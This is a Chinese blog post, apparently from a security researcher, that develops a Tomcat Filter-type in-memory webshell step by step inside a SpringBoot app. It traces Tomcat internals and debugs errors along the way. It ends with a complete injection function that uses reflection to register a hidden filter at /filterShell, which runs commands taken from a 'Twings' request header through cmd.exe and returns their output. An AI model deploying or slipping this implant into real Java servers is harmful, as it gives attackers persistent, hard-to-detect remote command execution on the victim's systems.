前言

老技术,进行一波学习。


环境搭建

随便搞个SpringBoot环境,里面集成了tomcat。

FilterChain生成

以前读tomcat代码的时候能看到调用的FilterChain由ApplicationFilterFactory类生成,首先从context中取出filtermaps:

FilterMap[] filterMaps = context.findFilterMaps();

其来自context里的filterMaps属性:

public FilterMap[] findFilterMaps() {
    return this.filterMaps.asArray();
}

可以使用其addFilterMap函数进行添加:

public void addFilterMap(FilterMap filterMap) {
    this.validateFilterMap(filterMap);
    this.filterMaps.add(filterMap);
    this.fireContainerEvent("addFilterMap", filterMap);
}

其参数为FilterMap对象,这个对象可以通过无参构造函数生成。为了注入我们的filter,我们首先要找到该context:

在Thread.currentThread()里面可以找到这个context:

它在TomcatEmbeddedWebappClassLoader类的resources属性中:

protected WebResourceRoot resources = null;

但它是个protected属性,如果通过反射来获取就太麻烦了,然而问题是该9.0.65版本版本的tomcat里面用于获取resources属性的getResources函数已经用不了了:

@Deprecated
public WebResourceRoot getResources() {
    return null;
}

没办法,还是只能反射了。

ClassLoader cl = Thread.currentThread().getContextClassLoader();
StandardRoot resources = null;
try {
    Field f = cl.getClass().getSuperclass().getSuperclass().getDeclaredField("resources");
    f.setAccessible(true);
    resources = (StandardRoot)f.get(cl);
}catch (Exception e) {
    // pass
}
if (resources == null) {
    return;
}
StandardContext context = (StandardContext)resources.getContext();
FilterMap filterMap = new FilterMap();
context.addFilterMap(filterMap);

报错:

java.lang.IllegalArgumentException: Filter mapping specifies an unknown filter name [null]

添加上filterName再试试:

filterMap.setFilterName("filterShell");

还是报错:

java.lang.IllegalArgumentException: Filter mapping specifies an unknown filter name [filterShell]

看看报错点:

String filterName = filterMap.getFilterName();
String[] servletNames = filterMap.getServletNames();
String[] urlPatterns = filterMap.getURLPatterns();
if (findFilterDef(filterName) == null) {
    throw new IllegalArgumentException
        (sm.getString("standardContext.filterMap.name", filterName));
}

看起来还要先添加filterDef,看看findFilterDef函数怎么写的:

@Override
public FilterDef findFilterDef(String filterName) {
    synchronized (filterDefs) {
        return filterDefs.get(filterName);
    }
}

键值从filterDef的filterName里来:

@Override
public void addFilterDef(FilterDef filterDef) {

    synchronized (filterDefs) {
        filterDefs.put(filterDef.getFilterName(), filterDef);
    }
    fireContainerEvent("addFilterDef", filterDef);

}

再改改代码:

filterDef.setFilterName("filterShell");

报错:

java.lang.IllegalArgumentException: Filter mapping must specify either a <url-pattern> or a <servlet-name>

filterMap还需要设置url-pattern:

filterMap.addURLPattern("/filterShell");

访问一下这个路由,发现404报错,再调试一下,发现问题出在这一句:

ApplicationFilterConfig filterConfig = (ApplicationFilterConfig)
        context.findFilterConfig(filterMap.getFilterName());

跟进findFilterConfig函数可以发现是没有添加filterConfig:

public FilterConfig findFilterConfig(String name) {
    return filterConfigs.get(name);
}

看看context中的代码,只有一句添加filterConfig的代码在filterStart函数里:

String name = entry.getKey();
...
try {
    ApplicationFilterConfig filterConfig =
            new ApplicationFilterConfig(this, entry.getValue());
    filterConfigs.put(name, filterConfig);
}

发现ApplicationFilterConfig的构造函数报错,跟踪一下:

if (filterDef.getFilter() == null) {
    getFilter();
} else {
    this.filter = filterDef.getFilter();
    context.getInstanceManager().newInstance(filter);
    initFilter();
}

发现原因是filterDef里面没有设置对应的Filter对象,那就新建一个Filter对象:

class ShellFilter implements Filter {
    @Override
    public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException {
        java.lang.Runtime.getRuntime().exec("calc.exe");
    }
}

再通过setFilter添加到filterDef里面,访问/添加filter shell后再访问/filterShell,成功执行命令。

2022.9.8更新

忘了这个filter shell还不完整,还没有输入输出功能。

调试一下doFilter函数,看看这里的request和response是什么对象:

一个RequestFacade对象里面放着我们要找的Request对象,可以通过其getHeader函数获取我们想要的Header:

@Override
public String getHeader(String name) {

    if (request == null) {
        throw new IllegalStateException(
                        sm.getString("requestFacade.nullRequest"));
    }

    return request.getHeader(name);
}

同样的,Response里面也可以通过getWriter得到输出打印器:

@Override
public PrintWriter getWriter()
    throws IOException {

    //        if (isFinished())
    //            throw new IllegalStateException
    //                (/*sm.getString("responseFacade.finished")*/);

    PrintWriter writer = response.getWriter();
    if (isFinished()) {
        response.setSuspended(true);
    }
    return writer;

}

最后,贴一下完整的的注入函数代码:

public void injectFilter() {
    class ShellFilter implements Filter {
        @Override
        public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) {
            try {
                String[] cmd = new String[]{"cmd.exe", "/c", ((RequestFacade)request).getHeader("Twings")};
                byte[] result = new java.util.Scanner(new ProcessBuilder(cmd).start().getInputStream()).useDelimiter("\\A").next().getBytes();
                response.getWriter().write(new String(result));
            } catch (Exception e) {
                // pass
            }
        }
    }

    ClassLoader cl = Thread.currentThread().getContextClassLoader();
    StandardRoot resources = null;
    try {
        Field f = cl.getClass().getSuperclass().getSuperclass().getDeclaredField("resources");
        f.setAccessible(true);
        resources = (StandardRoot)f.get(cl);
    }catch (Exception e) {
        // pass
    }
    if (resources == null) {
        return;
    }
    StandardContext context = (StandardContext)resources.getContext();
    FilterDef filterDef = new FilterDef();
    filterDef.setFilter(new ShellFilter());
    filterDef.setFilterName("filterShell");
    context.addFilterDef(filterDef);
    FilterMap filterMap = new FilterMap();
    filterMap.setFilterName("filterShell");
    filterMap.addURLPattern("/filterShell");
    context.addFilterMap(filterMap);
    context.filterStart();
}

运行结果:


参考

https://xz.aliyun.com/t/9755

https://xz.aliyun.com/t/10196


Web Java

本博客所有文章除特别声明外,均采用 CC BY-SA 3.0协议 。转载请注明出处!

Java Tomcat Executor/Processor 内存马
指针分析工具Doop安装与使用